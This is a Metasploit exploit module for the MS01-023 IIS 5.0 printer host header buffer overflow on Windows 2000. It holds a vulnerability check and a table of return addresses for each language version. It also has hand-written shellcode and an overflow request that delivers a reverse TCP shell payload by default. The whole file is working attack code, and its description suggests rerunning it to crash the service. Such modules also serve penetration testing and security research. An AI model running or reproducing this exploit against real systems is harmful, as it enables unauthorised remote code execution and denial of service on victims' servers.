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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
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        'Description' => %q{
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          This exploits a buffer overflow in the request processor of the
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          Internet Printing Protocol ISAPI module in IIS. This module
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          works against Windows 2000 Server and Professional SP0-SP1.
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          If the service stops responding after a successful compromise,
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          run the exploit a couple more times to completely kill the
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          hung process.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2001-0241'],
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          [ 'OSVDB', '3323'],
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          [ 'BID', '2674'],
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          [ 'MSB', 'MS01-023'],
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          [ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 900,
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          'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
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          'StackAdjustment' => -3500
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        },
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        'Targets' => [
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          # jmp esp @ compfilt.dll
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          [ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
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          [ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
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          [ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
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          [ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
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          # [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
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          [ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
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          [ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
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          # jmp esp @ ws2_32.dll
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          [ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
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          [ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
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        ],
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        'Arch' => [ARCH_X86],
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        'Platform' => 'win',
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        'DefaultOptions' => {
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          'PAYLOAD' => 'windows/shell/reverse_tcp'
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        },
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [IOC_IN_LOGS]
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        },
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        'DefaultTarget' => 4,
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        'DisclosureDate' => '2001-05-01'
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      )
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    )
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    register_options([
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      Opt::RPORT(80)
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    ])
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  end
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  def check
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    res = send_request_cgi({
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      'uri' => '/NULL.printer',
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      'version' => '1.0'
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    })
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    return CheckCode::Unknown('Connection failed') unless res
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    return CheckCode::Safe unless res.code == 500
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    # Error response is language dependent: "<b>Error in web printer install.</b>"
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    return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
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    res = send_request_cgi({
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      'uri' => '/NULL.printer',
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      'vhost' => rand_text_alpha(257),
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      'version' => '1.0'
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    })
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    return CheckCode::Unknown('Connection failed') unless res
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    return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
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    return CheckCode::Safe unless res.code == 500
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    return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
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    CheckCode::Appears
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  end
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  def exploit
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    print_status("Using target: #{target.name} ...")
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    buf = make_nops(268)
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    buf << [target.ret].pack('V')
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    buf << make_nops(8)
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    # payload is at: [ebx + 96] + 256 + 64
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    buf << "\x8b\x4b\x60"  # mov ecx, [ebx + 96]
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    buf << "\x80\xc1\x40"  # add cl, 64
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    buf << "\x80\xc5\x01"  # add ch, 1
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    buf << "\xff\xe1"      # jmp ecx
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    res = send_request_cgi({
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      'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
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      'version' => '1.0'
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    }, 5)
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    # It is expected that we receive no reply. A reply indicates exploit failure.
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    fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
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  end
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end
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